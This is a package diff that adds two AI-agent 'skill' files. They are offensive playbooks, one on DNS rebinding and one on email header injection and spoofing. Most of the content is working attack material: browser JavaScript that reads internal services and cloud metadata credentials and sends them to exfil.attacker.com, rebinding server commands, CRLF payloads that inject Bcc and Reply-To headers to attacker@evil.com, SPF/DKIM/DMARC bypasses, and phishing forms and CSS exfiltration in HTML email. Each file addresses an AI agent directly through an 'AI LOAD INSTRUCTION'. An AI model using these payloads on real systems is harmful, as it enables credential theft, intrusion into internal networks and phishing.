ineedcodes 1.6.0 → 1.7.0

package/skills/dns-rebinding-attacks/SKILL.md

@@ -0,0 +1,337 @@
+---
+name: dns-rebinding-attacks
+description: >-
+  DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.gated: true
+---
+
+# SKILL: DNS Rebinding — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths.
+
+## 0. RELATED ROUTING
+
+- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — server-side variant; DNS rebinding is the **client-side** counterpart
+- [cors-cross-origin-misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) — when CORS misconfig allows direct cross-origin reads instead
+
+---
+
+## 1. CORE PRINCIPLE
+
+The browser same-origin policy binds `protocol + host + port`. The **host** is resolved via DNS at connection time. If an attacker controls the DNS server for `attacker.com`, they can:
+
+1. First resolution → attacker IP (serve malicious JS)
+2. Second resolution → internal IP (victim's network)
+3. Browser considers both responses same-origin (`attacker.com`)
+4. Malicious JS reads responses from internal services
+
+```
+Victim visits attacker.com
+        │
+        ▼
+DNS query: attacker.com → 1.2.3.4 (attacker server)
+Browser loads malicious JS from 1.2.3.4
+        │
+        ▼
+TTL expires (or forced flush)
+        │
+        ▼
+JS triggers new request to attacker.com
+DNS query: attacker.com → 192.168.1.1 (internal target)
+Browser sends request to 192.168.1.1 as "attacker.com" origin
+        │
+        ▼
+JS reads response — same-origin policy satisfied
+Exfiltrates data to attacker's other endpoint
+```
+
+**Key insight**: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname.
+
+---
+
+## 2. TTL MANIPULATION
+
+### DNS server configuration
+
+The attacker runs an authoritative DNS server for their domain that alternates responses:
+
+| Query # | Response | TTL |
+|---|---|---|
+| 1st | Attacker IP (e.g., `1.2.3.4`) | 0 |
+| 2nd+ | Target internal IP (e.g., `192.168.1.1`) | 0 |
+
+TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection.
+
+### Browser DNS cache reality
+
+Browsers maintain their own DNS cache that **ignores low TTLs**:
+
+| Browser | Internal DNS Cache | Bypass Technique |
+|---|---|---|
+| Chrome | ~60 seconds minimum | Wait 60s; or use multiple subdomains |
+| Firefox | ~60 seconds (network.dnsCacheExpiration) | Adjustable in about:config |
+| Safari | ~varies | Generally shorter cache |
+| Edge (Chromium) | Same as Chrome (~60s) | Same techniques as Chrome |
+
+### Bypass strategies
+
+```
+1. Multiple A records technique:
+   - Return BOTH attacker IP and target IP in single DNS response
+   - Browser tries first IP; if connection fails → falls back to second
+   - Block attacker IP after initial page load → forces fallback to internal IP
+   
+2. Subdomain flooding:
+   - Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com...
+   - Each subdomain gets fresh DNS resolution (no cache hit)
+   
+3. Service worker flush:
+   - Register service worker that intercepts and delays requests
+   - By the time fetch executes, DNS cache has expired
+```
+
+---
+
+## 3. ATTACK VARIANTS
+
+### 3.1 Classic HTTP Rebinding
+
+Target: internal web services (admin panels, REST APIs)
+
+```javascript
+// Served from attacker.com (first DNS resolution → attacker IP)
+async function exploit() {
+    // Wait for DNS cache to expire
+    await sleep(65000); // >60s for Chrome
+    
+    // This request now resolves to internal IP
+    const resp = await fetch('http://attacker.com:8080/api/admin/users');
+    const data = await resp.text();
+    
+    // Exfiltrate to different attacker endpoint
+    navigator.sendBeacon('https://exfil.attacker.com/log', data);
+}
+```
+
+### 3.2 WebSocket Rebinding
+
+WebSocket connections persist after DNS rebinding. Establish WS, then rebind:
+
+```javascript
+// After rebinding, WebSocket connects to internal service
+const ws = new WebSocket('ws://attacker.com:9090/ws');
+ws.onopen = () => {
+    ws.send('{"action":"dump_config"}');
+};
+ws.onmessage = (e) => {
+    fetch('https://exfil.attacker.com/ws-data', {
+        method: 'POST',
+        body: e.data
+    });
+};
+```
+
+### 3.3 Time-of-Check-to-Time-of-Use (TOCTOU)
+
+Server-side applications that validate DNS at request time but reuse the connection:
+
+```
+1. Application receives URL: http://attacker.com/callback
+2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation
+3. Server opens connection / follows redirect
+4. DNS changes: attacker.com → 169.254.169.254
+5. Connection reuse or redirect hits internal IP
+```
+
+This is a hybrid with SSRF — the rebinding happens in the server's resolver.
+
+### 3.4 Multiple A Records (Fastest Variant)
+
+```
+DNS response for attacker.com:
+  A  1.2.3.4       (attacker — serves JS)
+  A  192.168.1.1   (target — internal service)
+  
+1. Browser connects to 1.2.3.4, loads page with JS
+2. Attacker firewall blocks further connections from victim to 1.2.3.4
+3. JS makes new request to attacker.com
+4. Browser tries 1.2.3.4 → connection refused
+5. Falls back to 192.168.1.1 → still same origin
+6. Response readable by JS
+```
+
+---
+
+## 4. HIGH-VALUE TARGETS
+
+| Target | Port | Why |
+|---|---|---|
+| Cloud metadata | `169.254.169.254:80` | AWS/GCP/Azure instance credentials, tokens |
+| Docker API | `172.17.0.1:2375` | Container creation, host filesystem mount → RCE |
+| Kubernetes API | `10.96.0.1:443/6443` | Pod creation, secret reading |
+| Internal admin panels | Various | Router config, NAS, printer, SCADA |
+| IoT devices | `192.168.x.x:80/443` | Camera feeds, smart home control |
+| Elasticsearch | `*:9200` | Data exfiltration, index manipulation |
+| Redis | `*:6379` | Data read, config set for RCE |
+| Consul/etcd | `*:8500/2379` | Service discovery, secret storage |
+
+### Cloud metadata specific
+
+```javascript
+// AWS metadata via rebinding
+fetch('http://attacker.com/latest/meta-data/iam/security-credentials/')
+    .then(r => r.text())
+    .then(role => {
+        return fetch(`http://attacker.com/latest/meta-data/iam/security-credentials/${role}`);
+    })
+    .then(r => r.json())
+    .then(creds => {
+        navigator.sendBeacon('https://exfil.attacker.com/', JSON.stringify(creds));
+    });
+// After rebinding, attacker.com resolves to 169.254.169.254
+// Browser sends Host: attacker.com but IMDSv1 doesn't check Host header
+```
+
+**IMDSv2 defense**: requires `X-aws-ec2-metadata-token` header from PUT request. Rebinding cannot easily set custom headers on the initial token request in `no-cors` mode.
+
+---
+
+## 5. TOOLS
+
+| Tool | Purpose | URL |
+|---|---|---|
+| **Singularity** | Full DNS rebinding attack framework | github.com/nccgroup/singularity |
+| **rbndr.us** | Quick rebind DNS service (IP pair in subdomain) | rbndr.us |
+| **whonow** | Dynamic DNS rebinding server | github.com/taviso/whonow |
+| **dnsrebinder** | Minimal Python DNS server for rebinding | Custom / various repos |
+
+### Singularity quick start
+
+```bash
+# Clone and run
+git clone https://github.com/nccgroup/singularity
+cd singularity
+go build -o singularity cmd/singularity-server/main.go
+
+# Start with rebind from attacker IP to target IP
+./singularity -DNSRebindStrategy round-robin \
+    -ResponseIPAddr 1.2.3.4 \
+    -RebindingFn sequential \
+    -ResponseReboundIPAddr 192.168.1.1
+```
+
+### rbndr.us (zero-setup)
+
+```
+Format: <hex-ip1>.<hex-ip2>.rbndr.us
+Example: 7f000001.c0a80101.rbndr.us
+  → alternates between 127.0.0.1 and 192.168.1.1
+  
+Convert IP to hex:
+  192.168.1.1 → c0.a8.01.01 → c0a80101
+  127.0.0.1   → 7f.00.00.01 → 7f000001
+```
+
+---
+
+## 6. DNS REBINDING vs. SSRF
+
+| Aspect | DNS Rebinding | SSRF |
+|---|---|---|
+| Execution context | Client-side (browser) | Server-side |
+| Origin bypass | Same-origin policy | Network access controls |
+| Attacker controls | DNS resolution | URL/request sent by server |
+| Requires | Victim visits attacker page | Vulnerable server-side fetch |
+| Internal access via | Browser on victim's network | Server's network position |
+| Credential inclusion | Browser cookies auto-included | No user credentials |
+| Protocol support | HTTP/WS (browser-limited) | Any protocol (gopher, file, etc.) |
+
+**Critical difference**: DNS rebinding leverages the **victim's browser** as the pivot point, so it accesses services visible from the **victim's network**, with the **victim's cookies/credentials**.
+
+---
+
+## 7. DEFENSES AND DEFENSE BYPASS
+
+### Common defenses
+
+| Defense | How it works |
+|---|---|
+| DNS pinning | Browser/resolver caches DNS and refuses re-resolution |
+| Host header validation | Server rejects requests with unexpected Host header |
+| Network segmentation | Internal services not reachable from browser network |
+| Private network access (PNA) | Chrome's proposal: preflight for requests to private IPs |
+| Authentication on internal services | Internal services require auth, not just network access |
+
+### Defense bypass techniques
+
+```
+DNS pinning bypass:
+├── Multiple A records → connection failure forces fallback
+├── Subdomain per request → no cache hit
+├── Wait for cache expiry (Chrome: 60s)
+└── Rebind via CNAME chain (harder to pin)
+
+Host header validation bypass:
+├── Internal service may not check Host header at all
+├── Host: attacker.com accepted by default configs
+├── IP-based vhosts don't check Host
+└── Wildcard vhost configurations
+
+Private Network Access (PNA) bypass:
+├── PNA only in Chrome (as of 2024), partial enforcement
+├── WebSocket connections may not trigger preflight
+├── HTTPS → HTTP downgrade scenarios
+└── Non-browser clients unaffected
+```
+
+---
+
+## 8. DECISION TREE
+
+```
+Want to access internal services from victim's browser?
+│
+├── Can you get victim to visit your page?
+│   ├── YES → DNS rebinding is viable
+│   │   │
+│   │   ├── What is the target?
+│   │   │   ├── HTTP service → Classic rebinding (Section 3.1)
+│   │   │   ├── WebSocket service → WS rebinding (Section 3.2)
+│   │   │   └── Cloud metadata → Metadata exfil (Section 4)
+│   │   │
+│   │   ├── Browser cache concern?
+│   │   │   ├── Chrome → Wait 60s or use multiple subdomains
+│   │   │   ├── Firefox → Wait 60s or adjust dnsCacheExpiration
+│   │   │   └── Use multiple A records technique for instant rebind
+│   │   │
+│   │   ├── Target checks Host header?
+│   │   │   ├── YES → Rebinding alone won't work
+│   │   │   │   └── Check for SSRF instead (../ssrf-server-side-request-forgery/)
+│   │   │   └── NO → Proceed with rebinding
+│   │   │
+│   │   └── Need credentials?
+│   │       ├── Browser auto-sends cookies → works if same-site allows
+│   │       └── Custom auth header needed → limited (no-cors won't send custom headers)
+│   │
+│   └── NO → DNS rebinding not applicable
+│       └── Consider SSRF if server-side fetch exists
+│
+└── Is this server-side DNS validation bypass? (TOCTOU)
+    ├── YES → Hybrid approach (Section 3.3)
+    │   └── SSRF with DNS rebinding for IP validation bypass
+    └── NO → Review ../ssrf-server-side-request-forgery/ instead
+```
+
+---
+
+## 9. REAL-WORLD EXPLOITATION CHECKLIST
+
+```
+□ Set up DNS rebinding infrastructure (Singularity / rbndr.us / custom)
+□ Identify target internal services (port scan from victim context if possible)
+□ Determine browser DNS cache duration for target browser
+□ Choose rebinding variant (classic / multi-A / subdomain flood)
+□ Test with benign internal endpoint first (e.g., / on router)
+□ Verify same-origin read works after rebind
+□ Escalate: cloud metadata → creds, Docker API → RCE, admin panels → config
+□ Document: attacker.com DNS config, JS payload, rebind timing, exfil data
+```

package/skills/email-header-injection/SKILL.md

@@ -0,0 +1,349 @@
+---
+name: email-header-injection
+description: >-
+  Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.gated: true
+---
+
+# SKILL: Email Header Injection — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.
+
+## 0. RELATED ROUTING
+
+- [crlf-injection](../crlf-injection/SKILL.md) — general CRLF injection; email headers are a specific high-value sink
+- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — when SMTP server is reachable via SSRF (gopher://smtp)
+- [open-redirect](../open-redirect/SKILL.md) — redirect in password-reset emails as phishing amplification
+
+---
+
+## 1. SMTP HEADER INJECTION FUNDAMENTALS
+
+SMTP headers are separated by CRLF (`\r\n`). If user input is placed into email headers without sanitization, injecting `%0d%0a` (or `\r\n`) adds arbitrary headers.
+
+### Injection anatomy
+
+```
+Normal header construction:
+  To: user@example.com\r\n
+  Subject: Contact Form\r\n
+  From: noreply@target.com\r\n
+
+Injected (via Subject field):
+  Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
+  
+Result:
+  Subject: Hello\r\n
+  Bcc: attacker@evil.com\r\n
+```
+
+### Encoding variants to try
+
+| Encoding | Payload |
+|---|---|
+| URL-encoded | `%0d%0a` |
+| Double URL-encoded | `%250d%250a` |
+| Unicode | `\u000d\u000a` |
+| Raw CRLF | `\r\n` (in raw request) |
+| LF only | `%0a` (some SMTP servers accept LF without CR) |
+| Null byte + CRLF | `%00%0d%0a` |
+
+---
+
+## 2. ATTACK SCENARIOS
+
+### 2.1 BCC Injection — Silent Email Exfiltration
+
+```
+Input field: email / name / subject
+Payload: victim@target.com%0d%0aBcc:attacker@evil.com
+
+Effect: attacker receives a copy of every email sent through this form
+```
+
+### 2.2 CC Injection with Header Stacking
+
+```
+Payload in "From name" field:
+  John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com
+
+Result headers:
+  From: John
+  Cc: attacker@evil.com
+  Bcc: spy@evil.com
+  ... (original headers continue)
+```
+
+### 2.3 Body Injection — Full Email Content Control
+
+A blank line (`\r\n\r\n`) separates headers from body in SMTP:
+
+```
+Payload in Subject:
+  Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a
+
+Result:
+  Subject: Urgent
+  
+  Please click: https://evil.com/phish
+  .
+  
+(Blank line terminates headers, everything after is body)
+```
+
+### 2.4 Reply-To Manipulation for Phishing
+
+```
+Payload in From name:
+  IT Support%0d%0aReply-To:attacker@evil.com
+
+Victim sees "IT Support" as sender
+Replies go to attacker@evil.com
+```
+
+### 2.5 Content-Type Injection for HTML Phishing
+
+```
+Payload:
+  test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>
+
+Overrides Content-Type → renders HTML in email client
+```
+
+---
+
+## 3. COMMON VULNERABLE PATTERNS
+
+### PHP mail()
+
+```php
+$to = $_POST['email'];
+$subject = $_POST['subject'];
+$message = $_POST['message'];
+$headers = "From: noreply@target.com";
+
+// ALL parameters are injectable:
+mail($to, $subject, $message, $headers);
+
+// $to injection:    victim@x.com%0d%0aCc:attacker@evil.com
+// $subject injection: Hello%0d%0aBcc:attacker@evil.com
+// $headers injection: From: x%0d%0aBcc:attacker@evil.com
+```
+
+### Python smtplib
+
+```python
+msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
+server.sendmail(from_addr, to_addr, msg)
+# user_from / user_subject injectable if not sanitized
+```
+
+### Node.js nodemailer
+
+```javascript
+let mailOptions = {
+    from: req.body.from,      // injectable
+    to: 'admin@target.com',
+    subject: req.body.subject, // injectable
+    text: req.body.message
+};
+transporter.sendMail(mailOptions);
+```
+
+---
+
+## 4. SPF / DKIM / DMARC BYPASS TECHNIQUES
+
+### 4.1 SPF (Sender Policy Framework) Bypass
+
+SPF validates the `MAIL FROM` envelope sender IP against DNS TXT records.
+
+| Technique | How |
+|---|---|
+| Subdomain delegation | Target has `include:_spf.google.com`; attacker uses Google Workspace to send as `anything@mail.target.com` |
+| Include chain abuse | `v=spf1 include:third-party.com` — if third-party allows broad sending |
+| DNS lookup limit (10) | SPF allows max 10 DNS lookups; chains exceeding this → `permerror` → some receivers accept |
+| `+all` misconfiguration | `v=spf1 +all` allows any IP (rare but exists) |
+| `?all` or `~all` | Softfail/neutral → most receivers still deliver to inbox |
+| No SPF record | Domain without SPF → anyone can send as that domain |
+
+```bash
+# Check SPF record:
+dig TXT target.com +short
+# Look for: v=spf1 ...
+
+# Count DNS lookups (each include/a/mx/redirect = 1 lookup):
+# >10 lookups = permerror = bypassed
+```
+
+### 4.2 DKIM (DomainKeys Identified Mail) Bypass
+
+DKIM signs specific headers with a domain key. Bypass vectors:
+
+| Technique | How |
+|---|---|
+| `d=` vs `From:` mismatch | DKIM signs with `d=subdomain.target.com` but `From: ceo@target.com` — valid DKIM, spoofed From |
+| `l=` tag abuse | `l=` limits body length signed; attacker appends content after signed portion |
+| Replay attack | Capture valid DKIM-signed email, resend with modified unsigned headers |
+| Missing `h=from` | If `from` header not in signed headers list (`h=`), From can be modified |
+| Key rotation window | During DKIM key rotation, old selector may still validate |
+
+```bash
+# Check DKIM selector:
+dig TXT selector._domainkey.target.com +short
+# Common selectors: google, default, s1, s2, k1, dkim
+```
+
+### 4.3 DMARC (Domain-based Message Authentication) Bypass
+
+DMARC requires SPF or DKIM to **align** with the `From:` header domain.
+
+| Technique | How |
+|---|---|
+| Relaxed alignment (`aspf=r`) | SPF passes for `sub.target.com`, DMARC accepts for `target.com` |
+| Organizational domain | `mail.target.com` aligns with `target.com` in relaxed mode |
+| No DMARC record | Domain without DMARC → no policy enforcement |
+| `p=none` | DMARC exists but policy is `none` → no enforcement, just reporting |
+| Subdomain policy (`sp=none`) | Main domain `p=reject` but `sp=none` → subdomains spoofable |
+
+```bash
+# Check DMARC:
+dig TXT _dmarc.target.com +short
+# Look for: v=DMARC1; p=none/quarantine/reject
+```
+
+### 4.4 Display Name Spoofing (Works Everywhere)
+
+Even with perfect SPF/DKIM/DMARC, display name is not authenticated:
+
+```
+From: "admin@target.com" <attacker@evil.com>
+From: "IT Security Team - target.com" <random@evil.com>
+From: "noreply@target.com via Support" <attacker@evil.com>
+```
+
+Most email clients show only the display name in the inbox view. Mobile clients are especially vulnerable.
+
+---
+
+## 5. MAIL CLIENT RENDERING ATTACKS
+
+### CSS-based data exfiltration
+
+```html
+<!-- In HTML email body -->
+<style>
+  #secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
+  #secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
+</style>
+<input id="secret" value="TARGET_VALUE">
+```
+
+### Remote image tracking
+
+```html
+<img src="https://attacker.com/track?email=victim@target.com&t=TIMESTAMP" width="1" height="1">
+<!-- Invisible pixel — confirms email was opened, leaks IP, client info -->
+```
+
+### Form action hijacking
+
+```html
+<!-- Some email clients render forms -->
+<form action="https://attacker.com/phish" method="POST">
+  <input name="password" type="password" placeholder="Confirm your password">
+  <button type="submit">Verify</button>
+</form>
+```
+
+---
+
+## 6. CONTACT FORM / EMAIL API INJECTION
+
+```text
+# REST API
+POST /api/send-email {"to":"user@target.com\r\nBcc:attacker@evil.com","subject":"Hello","body":"Test"}
+
+# URL-encoded form
+name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test
+
+# GraphQL
+mutation { sendEmail(to:"user@target.com\r\nBcc:attacker@evil.com" subject:"Test" body:"Hello") }
+```
+
+---
+
+## 7. TESTING METHODOLOGY
+
+```
+1. Find email features: contact forms, password reset, invite/share, newsletters
+2. Test CRLF: inject test%0d%0aX-Injected:true in each field → check received headers
+3. Escalate: Bcc injection → body injection → Content-Type override
+4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)
+```
+
+---
+
+## 8. DECISION TREE
+
+```
+Found email-sending feature?
+│
+├── User input goes into email headers?
+│   ├── YES → Test CRLF injection
+│   │   ├── %0d%0a in Subject/From/To field
+│   │   │   ├── Extra header appears → CONFIRMED
+│   │   │   │   ├── Inject Bcc: → silent exfiltration
+│   │   │   │   ├── Inject body (blank line) → content control
+│   │   │   │   └── Inject Reply-To: → redirect replies
+│   │   │   │
+│   │   │   └── Filtered? → Try encoding variants
+│   │   │       ├── %250d%250a (double encode)
+│   │   │       ├── %0a only (LF without CR)
+│   │   │       └── Unicode \u000d\u000a
+│   │   │
+│   │   └── All encodings blocked → check SPF/DKIM/DMARC
+│   │
+│   └── NO (user input only in body) → limited impact
+│       └── Check for HTML injection in email body
+│           └── If HTML rendered → phishing / CSS exfil
+│
+├── Want to spoof emails from target domain?
+│   ├── Check SPF: dig TXT target.com
+│   │   ├── No SPF / +all / ~all → direct spoofing possible
+│   │   └── -all → SPF blocks; check DKIM/DMARC
+│   │
+│   ├── Check DMARC: dig TXT _dmarc.target.com
+│   │   ├── No DMARC / p=none → spoofing delivered
+│   │   ├── p=quarantine → lands in spam but delivered
+│   │   └── p=reject → blocked; try subdomain (sp= policy)
+│   │
+│   └── All strict → Display name spoofing only
+│       └── "admin@target.com" <attacker@evil.com>
+│
+└── Testing password reset email?
+    ├── Check for token in URL → open redirect chain?
+    │   └── See ../open-redirect/SKILL.md
+    └── Check for host header injection → password reset poisoning
+        └── See ../http-host-header-attacks/SKILL.md
+```
+
+---
+
+## 9. QUICK REFERENCE — KEY PAYLOADS
+
+```text
+# BCC injection via Subject
+Subject: Hello%0d%0aBcc:attacker@evil.com
+
+# Body injection via From name
+From: Test%0d%0a%0d%0aClick here: https://evil.com
+
+# Reply-To hijack
+From: Support%0d%0aReply-To:attacker@evil.com
+
+# Full header stack injection
+email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com
+
+# Display name spoof (no injection needed)
+From: "security@target.com" <attacker@evil.com>
+```